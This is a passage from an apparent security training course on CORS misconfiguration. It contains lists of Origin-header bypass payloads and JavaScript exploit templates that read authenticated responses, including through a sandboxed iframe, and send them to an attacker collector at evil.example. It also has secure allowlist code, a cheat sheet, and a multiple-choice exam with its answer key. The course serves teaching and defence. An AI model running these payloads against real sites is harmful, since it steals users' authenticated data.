Basic Origin payloads

text
Origin: https://evil.example
Origin: null
Origin: http://target.com
Origin: https://target.com
Origin: https://attacker.target.com

Intermediate (whitelist bypass)

text
Origin: https://eviltarget.com                  endsWith bypass
Origin: https://target.com.evil.example         startsWith bypass
Origin: https://target.com%60.evil.example      backtick parse
Origin: https://target.com\.evil.example        backslash parse
Origin: https://wwwtarget.com                   substring noise
Origin: https://target.comevil.com              concat
Origin: https://attacker.com.target.com         attacker.com subdomain on target.com (only if takeover)
Origin: https://sub.attacker.com#target.com     fragment after host

Advanced parsing tricks

text
Origin: https://target.com%00.evil.example      null byte
Origin: https://target.com%0Aevil.example       newline
Origin: https://target.com..evil.example        double dot
Origin: https://attacker.com,target.com         comma
Origin: https://target%5C.evil.example          encoded backslash
Origin: https://%E2%80%AEtarget.com             RTL override
Origin: https://target.com;evil.example         semicolon
Origin: https://target_com.evil.example         underscore parsing

JavaScript exploit templates

javascript
// Credentialed fetch + exfil
fetch('https://api.target.com/me', { credentials: 'include' })
  .then(r => r.text())
  .then(d => fetch('https://evil.example/log?d=' + btoa(d)));

// XHR variant
var x = new XMLHttpRequest();
x.open('GET', 'https://api.target.com/me', true);
x.withCredentials = true;
x.onload = () => fetch('https://evil.example/log?d=' + btoa(x.responseText));
x.send();

// Sandboxed iframe for null origin
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';
iframe.srcdoc = '<script>fetch("https://api.target.com/me",{credentials:"include"}).then(r=>r.text()).then(d=>parent.postMessage(d,"*"))</script>';
document.body.appendChild(iframe);
window.addEventListener('message', e => fetch('https://evil.example/log?d=' + btoa(e.data)));

SECTION 14. Wordlists and Payload Libraries

Practical advice

  • Always test at least the six Origin variations on every authenticated endpoint.
  • Keep a personal list of 12 Origin parsing tricks for quick spray testing.
  • Maintain a few realistic decoy HTML pages (newsletter, contest, free trial) to wrap PoCs for delivery-readiness.
  • Build a Burp macro that auto-rotates Origin values across a request.

SECTION 15. Impact

Step 1: response body theft

The fundamental impact: attacker page reads authenticated response data.

Step 2: API key / token exfiltration

Many endpoints return long-lived API keys; once exfiltrated, the attacker calls the API directly with no browser involvement.

Step 3: account takeover

Endpoints that expose email or password-reset tokens enable full ATO.

Step 4: financial loss

Banking, fintech, crypto: reading account details enables fund transfers (PortSwigger's 2016 Bitcoin exchange disclosure).

Step 5: PII mass exposure

SaaS dashboards with `*.target.com` CORS misconfig leak every tenant's data.

Step 6: internal network exposure

Internal APIs with wildcard or broad CORS allow external pages to read internal data through employee browsers (of-CORS pattern).

Step 7: lateral movement

API keys for one service often unlock chained services (single SSO, shared credentials).

Step 8: WebSocket hijacking

CSWSH: persistent authenticated WebSocket sessions hijacked from attacker pages.

Step 9: cloud-credential theft

Internal endpoints sometimes return AWS/GCP credentials in JSON responses; CORS misconfig leaks them.

Step 10: regulatory and contractual fallout

GDPR, HIPAA, PCI DSS, SOC2 violations once authenticated data is exfiltrated.

Step 11: long-tail cost

Forensics, audits, mandatory disclosures, insurance premium spikes, churn from enterprise customers.

SECTION 16. Prevention

The fix is structural: a strict, exact, hardcoded allowlist of trusted origins; never reflect; never trust `null`; never use `*` with credentials.

Vulnerable example

javascript
res.header('Access-Control-Allow-Origin', req.headers.origin);   // BAD
res.header('Access-Control-Allow-Credentials', 'true');

Safe example (Express)

javascript
const ALLOWED_ORIGINS = new Set([
  'https://portal.anasbank.com',
  'https://app.anasbank.com',
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (ALLOWED_ORIGINS.has(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Credentials', 'true');
    res.header('Vary', 'Origin');   // important for caching
  }
  next();
});

Key changes:

  • Strict, exact, hardcoded allowlist.
  • No regex, no `endsWith`, no `includes`.
  • `Vary: Origin` so CDNs cache per-origin.
  • Never reflect `null`.
  • Never set `ACAO: *` with `ACAC: true`.

Safe example (Flask)

python
ALLOWED_ORIGINS = {
    'https://portal.anasbank.com',
    'https://app.anasbank.com',
}

@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'
    return response

Safe example (Spring Boot)

java
@Configuration
public class CorsConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
                .allowedOrigins("https://portal.anasbank.com",
                                "https://app.anasbank.com")
                .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
                .allowedHeaders("Authorization", "Content-Type")
                .allowCredentials(true)
                .maxAge(3600);
    }
}

Use `allowedOrigins` (exact list), not `allowedOriginPatterns` (wildcard-capable).

Safe example (ASP.NET Core)

csharp
var allowed = new[] { "https://portal.anasbank.com", "https://app.anasbank.com" };

builder.Services.AddCors(o => o.AddPolicy("strict", b =>
    b.WithOrigins(allowed)
     .AllowCredentials()
     .AllowAnyMethod()
     .AllowAnyHeader()));

app.UseCors("strict");

`WithOrigins(...)` is exact-match; do NOT use `SetIsOriginAllowed(_ => true)`.

Six rules to eliminate CORS misconfig

  • 1. Hardcode a strict allowlist of exact origins (full scheme + host + port).
  • 2. Never reflect the `Origin` header without comparing it against the allowlist.
  • 3. Never trust `null` as an origin.
  • 4. Never trust HTTP origins when the main app is HTTPS.
  • 5. Never use `*` ACAO on authenticated endpoints, even without credentials.
  • 6. Always set `Vary: Origin` to prevent cache poisoning.

Secure coding practices

  • Use SameSite cookies (`SameSite=Strict` or `Lax`) as defense in depth.
  • Limit allowed methods and headers to the minimum needed.
  • Use CSP alongside CORS as defense in depth.
  • Never copy CORS code from a forum without security review.

Developer checklist

  • Strict allowlist of exact origins.
  • No reflection of arbitrary Origins.
  • No `null` in the allowlist.
  • No HTTP origins if the main app is HTTPS.
  • No wildcard ACAO on authenticated endpoints.
  • `Vary: Origin` always set.
  • SameSite cookies set.
  • Preflight responses match real responses (no looser).
  • CORS policy reviewed by security on every new endpoint.
  • Internal APIs use precise origins even on internal networks.
  • GraphQL endpoint has its own explicit CORS policy.
  • WebSocket endpoint validates `Origin` on upgrade handshake.

Enterprise mitigations

  • API Gateway-level CORS with policy as code (Kong, Apigee, AWS API Gateway).
  • Service-mesh CORS in Istio or Linkerd for internal microservices.
  • WAF rules to detect Origin-header anomalies (unusual ports, suspicious TLDs).
  • Telemetry on outgoing ACAO header values in production; alert on unexpected reflections.
  • Bug bounty programs routinely scoped to include CORS misconfigurations.
  • SAST rules that flag `req.headers.origin` reflected into ACAO, `SetIsOriginAllowed(_ => true)`, `allowedOriginPatterns("*")`, and `Rack::Cors origins '*'` with credentials.

SECTION 17. Real-World Cases

Foundational research

Real disclosed reports and incidents

  • PortSwigger 2016 Bitcoin exchange disclosure -- API-key theft via reflected Origin; exchange patched within 20 minutes. Public writeup: https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties.
  • Google VRP -- CORS reflections in error pages and 404s rewarded under Google's VRP; demonstrates even FAANG ships CORS bugs.
  • Artsy.net insecure CORS API -- `api.artsy.net` was publicly disclosed reflecting arbitrary origins with credentials; user-data leakage. Classic reflection without allowlist.
  • CS Money -- Site-wide CORS on Safari due to misconfig, HackerOne disclosed, paid $300.
  • Coinbase -- "Set as primary" CORS account-level action, paid $100 (HackerOne disclosure).
  • VK.com -- CORS to email-set on account (HackerOne corpus).
  • Truffle Security on Tesla -- of-CORS demonstrated internal-network CORS misconfigurations on Tesla's infrastructure.
  • HackerOne corpus -- CORS reports: https://hackerone.com/hacktivity?queryString=CORS.
  • CORS misconfiguration on multiple GitHub Pages-hosted apps -- typosquatting-style takeovers led to CORS-trusted attacker subdomains.

CWE references

Lessons learned

  • Reflected-origin bugs ship at every scale, from startups to FAANG.
  • Bug bounty payouts for credentialed CORS regularly reach four to five figures on top programs.
  • Internal corporate networks are a treasure trove of CORS bugs via the of-CORS pattern.
  • CORS is rarely the only bug in a codebase; where one exists, more await on adjacent endpoints (GraphQL, WebSockets).
  • The fix is always the same: strict exact allowlist.

SECTION 18. References

SECTION 19. Practical Labs

Planned ANAS CORS Labs (SOON)

  • ANAS-CORS-01 -- AnasBank Reflected Origin Account API (steal API key), beginner
  • ANAS-CORS-02 -- AnasDocs Null Origin Trust (sandboxed iframe attack), beginner-intermediate
  • ANAS-CORS-03 -- AnasMarket endsWith Suffix-Match Bypass, intermediate
  • ANAS-CORS-04 -- AnasMarket startsWith Prefix-Match Bypass, intermediate
  • ANAS-CORS-05 -- AnasOne includes() Substring-Match Bypass, intermediate
  • ANAS-CORS-06 -- AnasCorp HTTP Subdomain Pivot via XSS, advanced
  • ANAS-CORS-07 -- AnasMarket Wildcard ACAO on Internal Debug API, intermediate
  • ANAS-CORS-08 -- AnasCorp Subdomain Takeover + CORS Trust Chain, advanced
  • ANAS-CORS-09 -- AnasOne Cross-Site WebSocket Hijacking (CSWSH), advanced
  • ANAS-CORS-10 -- AnasMarket Preflight vs Real Request Mismatch, advanced
  • ANAS-CORS-11 -- AnasCorp Internal Network of-CORS Style (typosquat + service worker), expert
  • ANAS-CORS-12 -- AnasDocs Special-Character Parsing Quirks (backslash, backtick, RTL), expert
  • ANAS-CORS-13 -- AnasMarket GraphQL Separate CORS Misconfig, advanced
  • ANAS-CORS-14 -- AnasMarket CDN Cache Poisoning + CORS Origin Header, expert
  • ANAS-CORS-15 -- AnasBank End-to-End ATO via CORS + Password Reset Token Read, expert

PortSwigger Web Security Academy CORS labs

Self-hosted lab targets

Lab progression

  • Week 1: PortSwigger Apprentice CORS labs + ANAS-CORS-01/02 + sections 1-8.
  • Week 2: PortSwigger Practitioner CORS lab + ANAS-CORS-03 to 06 + read 5 disclosed reports.
  • Week 3: ANAS-CORS-07 to 10 + practice with CORScanner and Corsy.
  • Week 4: ANAS-CORS-11/12 + dive into of-CORS internal-network testing.
  • Week 5: ANAS-CORS-13 to 15 + start hunting on programs that scope CORS explicitly.

SECTION 20. Cheat Sheet

text
+--------------------------------------------------------------------+
|                  ANAS EDUCATION -- CORS CHEAT SHEET                |
+--------------------------------------------------------------------+
|                                                                    |
|  DETECTION (Burp Repeater swap)                                    |
|    Origin: https://evil.example         reflection probe           |
|    Origin: null                         sandboxed iframe probe     |
|    Origin: http://target.com            insecure protocol probe    |
|    Origin: https://target.com.evil.com  startsWith bypass          |
|    Origin: https://eviltarget.com       endsWith bypass            |
|    Origin: https://target.com\.evil.com regex parsing quirk        |
|                                                                    |
|  CRITICAL CONFIRM                                                  |
|    ACAO: <reflected attacker origin>                               |
|    ACAC: true                                                      |
|    -> CRITICAL credentialed CORS misconfig                         |
|                                                                    |
|  EXPLOIT                                                           |
|    Host PoC HTML at evil.example                                   |
|    fetch(target, {credentials:'include'})                          |
|    Forward response to attacker collector                          |
|    Sandboxed iframe for Origin: null                               |
|    XSS on http subdomain for protocol-trust bypass                 |
|                                                                    |
|  KILLER COMBOS                                                     |
|    Reflected ACAO + ACAC: true            -> CRITICAL              |
|    ACAO: null + ACAC: true                -> CRITICAL              |
|    Weak regex + attacker domain           -> CRITICAL              |
|    HTTP subdomain trust + XSS pivot        -> CRITICAL              |
|    ACAO: * on internal API                -> HIGH                  |
|    Subdomain takeover + *.target.com trust -> CRITICAL              |
|                                                                    |
|  PREVENTION                                                        |
|    Strict, exact, hardcoded allowlist                              |
|    Never reflect Origin                                            |
|    Never trust null                                                |
|    Never trust http when main app is https                         |
|    Never wildcard ACAO + credentials                               |
|    Vary: Origin always                                             |
|    SameSite=Strict / Lax cookies                                   |
|                                                                    |
|  KEY CWE: CWE-942 (Permissive Cross-domain Policy)                 |
|           CWE-346 (Origin Validation Error)                        |
|  OWASP: A05:2021 Security Misconfiguration                         |
|                                                                    |
+--------------------------------------------------------------------+
|                       Go hunt. -- ANAS EDUCATION                   |
+--------------------------------------------------------------------+

SECTION 21. Exam

Thirty multiple-choice questions. Answer key at the end.

  • 1. What does CORS stand for?

A) Cross-Origin Resource Sharing B) Cross-Origin Request Security C) Controlled Origin Resource System D) Common Origin Reference Source

  • 2. The Same-Origin Policy is:

A) A browser feature that allows scripts to read responses from any domain B) A browser feature that blocks scripts from reading responses across origins C) A server feature that restricts incoming requests D) A firewall rule

  • 3. Which combination is the most dangerous CORS misconfiguration?

A) ACAO reflected + ACAC: true B) ACAO: * without credentials C) ACAO: https://target.com hardcoded D) ACAO not set

  • 4. Browsers REJECT which CORS combination outright?

A) Hardcoded ACAO + ACAC: true B) ACAO: * + ACAC: true C) ACAO: null + ACAC: false D) ACAO not set

  • 5. Which `Origin` value is triggered by a sandboxed iframe?

A) http://evil.com B) null C) * D) https://attacker.com

  • 6. Which CWE most closely matches CORS misconfiguration?

A) CWE-79 B) CWE-89 C) CWE-942 D) CWE-22

  • 7. James Kettle's 2016 CORS research demonstrated theft of:

A) Credit card numbers B) Bitcoins from a crypto exchange C) Government documents D) Healthcare records

  • 8. Different origins include all of the following EXCEPT:

A) https://a.target.com vs https://b.target.com B) https://target.com vs http://target.com C) https://target.com:443 vs https://target.com:8443 D) https://target.com vs https://target.com/path

  • 9. The purpose of a CORS preflight request is:

A) To compress headers B) To check whether the server allows the actual request before sending it C) To authenticate the user D) To validate cookies

  • 10. The fetch property that tells the browser to send cookies cross-origin is:

A) credentials: 'include' B) cookies: 'true' C) sendCredentials: true D) cors: true

A) Secure B) Critically vulnerable to reflected-origin CORS C) Wildcard D) Properly configured

  • 12. The `Vary: Origin` header is important because:

A) It tells the browser to ignore Origin B) It prevents CDN cache poisoning on CORS responses C) It blocks all CORS requests D) It is required for credentials

  • 13. A naive `endsWith("target.com")` allowlist is bypassed by:

A) https://target.com B) https://eviltarget.com C) https://attacker.com D) https://target.org

A) http://target.com B) https://target.com C) https://target.com.evil.example D) https://target.org

  • 15. Which exploit technique uses a sandboxed iframe?

A) Reflected-origin attack B) Null-origin attack C) Wildcard attack D) CSRF attack

  • 16. Trusting an HTTP subdomain when the main app is HTTPS is dangerous because:

A) HTTP is slower B) HTTP traffic can be MITM'd and HTTP subdomains often carry forgotten XSS that pivots to the HTTPS API C) HTTP cannot send cookies D) HTTPS does not support CORS

  • 17. Which tool is built for internal-network CORS testing via typosquatting?

A) Nmap B) of-CORS C) sqlmap D) hashcat

  • 18. Wildcard ACAO on an internal API is dangerous because:

A) Browsers always send credentials anyway B) Victims on the internal network can be tricked into reading internal data via attacker pages C) It is a syntax error D) Wildcards always include credentials

  • 19. Which exploit pattern combines XSS on a trusted HTTP subdomain with CORS abuse on the HTTPS API?

A) Reflected-origin B) Null-origin C) Protocol-trust pivot D) Wildcard exploit

  • 20. The BEST defense against CORS misconfiguration is:

A) Increase rate limits B) Strict hardcoded allowlist of trusted origins C) Disable CORS entirely D) Use HTTP only

  • 21. Cross-Site WebSocket Hijacking (CSWSH) bypasses CORS because:

A) WebSockets do not follow CORS; they follow a separate Origin handshake at upgrade time B) WebSockets are always encrypted C) WebSockets are forbidden cross-origin D) WebSockets ignore cookies

  • 22. `Access-Control-Allow-Origin: *` with `Access-Control-Allow-Credentials: true` behaves how in modern browsers?

A) Accepted, credentials sent B) REJECTED outright C) Shares response, but not cookies D) Cached forever

  • 23. Which header makes a request "non-simple" and triggers a CORS preflight?

A) User-Agent B) Content-Type: application/json C) Accept-Language D) Referer

  • 24. A SaaS API responds with `ACAO: null`. The most realistic exploitation is via:

A) Direct fetch from attacker domain B) A sandboxed iframe loaded from attacker page C) A POST form D) DNS rebinding

  • 25. An internal API with `ACAO: *` returning sensitive unauthenticated data:

A) None, no credentials B) Attacker pages can read the data through victim browsers on the corporate network C) Always low risk D) Admin-only

  • 26. The payload that tests for null-origin trust is:

A) Origin: https://evil.com B) Origin: null C) Origin: * D) Origin: localhost

  • 27. Subdomain takeover plus CORS chain works when:

A) The CORS policy trusts arbitrary origins B) The CORS policy trusts *.target.com and one subdomain CNAMEs to a deleted service C) The browser disables CORS D) The API uses no auth

  • 28. Best-practice CORS allowlist:

A) Regex with endsWith B) Strict exact set of fully qualified origins C) Reflect Origin always D) Wildcard with credentials

  • 29. A CORS error in DevTools when an evil page tries to read the API means:

A) A critical bug found B) Same-Origin Policy is working; this is the normal secure behavior C) The server is offline D) The browser is broken

  • 30. The MOST important takeaway about CORS:

A) CORS is the security boundary B) CORS relaxes the Same-Origin Policy; SOP is the security C) CORS replaces authentication D) CORS is server-side authorization

Answer key

  • 1.A 2.B 3.A 4.B 5.B 6.C 7.B 8.D 9.B 10.A
  • 11.B 12.B 13.B 14.C 15.B 16.B 17.B 18.B 19.C 20.B
  • 21.A 22.B 23.B 24.B 25.B 26.B 27.B 28.B 29.B 30.B

Scoring

  • 27 to 30: expert.
  • 24 to 26: solid.
  • 19 to 23: functional; re-read sections 11 and 16.
  • Below 19: re-read sections 1 to 8 and retake.

SECTION 22. Certificate Requirements

  • Read all 24 sections.
  • Score 24/30 or higher on section 21.
  • Complete all PortSwigger Web Security Academy CORS labs (3 labs).
  • Complete at least 10 of the 15 planned ANAS CORS labs (once released).
  • Demonstrate one end-to-end credentialed CORS read against a controlled target you own (reflected Origin or null Origin).
  • Document one finding in a 500+ word write-up with HTTP traces, the bypass that worked, and the exact fix.
  • Maintain a personal payload library of 20+ Origin variations organized by tier.

Ethical baseline

The techniques here read real authenticated data. Use them only on systems you own or have explicit written permission to test. Hosting a CORS PoC and tricking real users into visiting it is a criminal act in every jurisdiction this course is taught in.

SECTION 23. Important Notes

Common beginner mistakes

  • Confusing CORS with CSRF. CORS controls response READING; CSRF tricks the browser into SENDING state-changing requests.
  • Believing CORS errors in DevTools mean a bug. Errors mean SOP is doing its job.
  • Forgetting `credentials: 'include'` in PoCs.
  • Testing only the homepage. Test every authenticated API endpoint.
  • Reporting a CORS reflection without authenticated impact.

Pentester tips

  • Test the six Origin variations on every endpoint.
  • Use Burp Repeater to quickly swap Origin headers and diff responses.
  • Map subdomains thoroughly. Many CORS bugs require chaining with subdomain takeover or XSS on a trusted host.
  • Internal APIs are the highest-paying CORS targets when networks are large.
  • When the bug is hard to exploit on its own, pivot via XSS on a trusted subdomain.

Bug bounty tips

  • Critical reflected-origin + credentials regularly pays $5,000 to $25,000 on top programs.
  • Always include a hosted PoC URL. Triagers love clickable demos.
  • Show the full chain: Origin reflected -> credentials enabled -> sensitive data leaked.
  • Use a clean, separate exploit domain. Do not host PoCs on shared infrastructure.
  • Some programs accept `ACAO: *` on internal API as a separate finding.

Red team notes

  • CORS abuse is silent. No alerts in most SIEMs.
  • Combined with phishing, CORS gives full account access without password theft.
  • Internal CORS via of-CORS-style typosquatting reaches deep into corporate networks.
  • A compromised CDN node or DNS hijack of a trusted subdomain instantly weaponizes any CORS allowlist.

Defender tips

  • Centralize CORS in middleware or a gateway; do not let individual endpoints set ACAO.
  • Audit CORS at deploy time with automated tools (CORScanner, Corsy).
  • Block insecure protocols in the allowlist.
  • Use CSP alongside CORS as defense in depth.
  • Never copy CORS code from a forum without review.

Real-world advice

  • Many CORS bugs hide in mobile-only APIs that share the web API host.
  • GraphQL endpoints are often misconfigured separately from REST.
  • WebSocket endpoints rarely get CORS love and frequently allow any Origin (CSWSH).
  • When a target has multiple subdomains, try every combination of regex bypasses.

Things to remember during exams

  • CWE-942 = Permissive Cross-domain Policy.
  • ACAO + ACAC: true with attacker origin = CRITICAL.
  • Null Origin = sandboxed-iframe attack.
  • SOP is the security; CORS is the relaxation.
  • `ACAO: *` + `ACAC: true` is REJECTED by browsers.

Things to remember during real assessments

  • Get explicit permission to host exploit pages and reach victim browsers.
  • Throttle CORS scans. Mass scanning every subdomain looks like an attack.
  • Demonstrate impact with a benign payload that only proves the bug.
  • Save full HTTP traces (request + response with Origin and ACAO headers).
  • Clean up: remove hosted PoCs after the report is accepted.

Frequently confused concepts

  • CORS vs CSRF: CSRF tricks the browser into sending authenticated state-changing requests. CORS controls who can READ responses.
  • CORS vs SOP: SOP is the wall. CORS is the door. Misconfigured CORS knocks the wall down.
  • CORS vs cookies: cookies attach to cross-origin requests based on SameSite; CORS controls who reads the response.
  • ACAO: * vs reflected ACAO: wildcard blocks credentials. Reflected matches credentials. Reflected is worse.

Interview tips

  • Be ready to explain Same-Origin Policy without slides. Use the origin triple (scheme, host, port).
  • Mention James Kettle's 2016 Bitcoin disclosure as the foundational research.
  • Explain why `ACAO: *` plus `ACAC: true` is rejected by browsers (security baseline).
  • Always finish with the defense: strict allowlist plus Vary: Origin.

Key takeaways

  • CORS is not security. SOP is.
  • Reflected Origin + Credentials = critical bug.
  • Null Origin = sandboxed-iframe attack vector.
  • Weak whitelists die to creative domain registration.
  • The fix is one strict, exact allowlist. Always.

SECTION 24. Final Word from Your Instructor

You finished the CORS course. You now know more about this bug class than most working backend developers, and enough to find it, exploit it responsibly, and fix it in any codebase.

Here is the short version.

CORS misconfiguration works because developers confuse what CORS is. CORS is the consent protocol that lets a server selectively RELAX the Same-Origin Policy for specific trusted origins. SOP is the wall. CORS is the door. If the door is wired to open for anyone who claims to be the right origin, the wall does not exist. The browser is the enforcer; the server merely declares its policy via `Access-Control-Allow-Origin` and `Access-Control-Allow-Credentials`. Reflect Origin and set credentials true, and the browser cheerfully hands authenticated responses to whichever page claimed to be allowed.

The defense is one architectural rule. Hardcode a strict, exact allowlist of fully qualified origins (scheme + host + port). Never reflect the Origin header. Never trust `null`. Never use wildcard ACAO with credentials. Add `Vary: Origin` so CDNs cache per-origin. Set `SameSite=Strict` or `Lax` on session cookies as defense in depth. For GraphQL and WebSockets, write explicit policies; do not assume the REST-layer CORS config carries over.

On the offensive side, the workflow is short. Catalog authenticated endpoints. Swap the Origin in Burp Repeater. If ACAO reflects your value and ACAC is true, you have a credentialed CORS misconfig. Walk the six probe variations: reflection, null, http://, suffix-match, prefix-match, parsing quirks. Build the PoC. Deliver to a logged-in victim. Capture the response. Document with HTTP traces and a hosted PoC URL.

The disclosed reports prove this is current. James Kettle's 2016 Bitcoin exchange disclosure: API-key theft via reflected Origin, patched in 20 minutes. Truffle Security's of-CORS demonstrated internal-network CORS misconfigurations on Tesla and other corporate networks. Ayoub Safa's "Think Outside the Scope" continues to inform parsing-quirk bypasses in 2026. Google VRP rewards CORS reflections in 404 pages and error endpoints. Coinbase, VK.com, and other major platforms have all paid bounties for CORS bugs in the past few years.

When you see an HTTP response, look at the headers first. When you see `Access-Control-Allow-Origin`, ask where the value came from. When you see `Access-Control-Allow-Credentials: true`, ask whose data is behind this. When you see a wildcard, ask who is on this network. When you see a regex allowlist, ask how creative you can be with domain registration. If any answer raises an eyebrow, you have found a bug.

Stay curious. Stay ethical. Verify scope before you host any exploit page. The browser will obey almost anyone the server consents to; your job is to know when that consent was extended by accident.

Go hunt.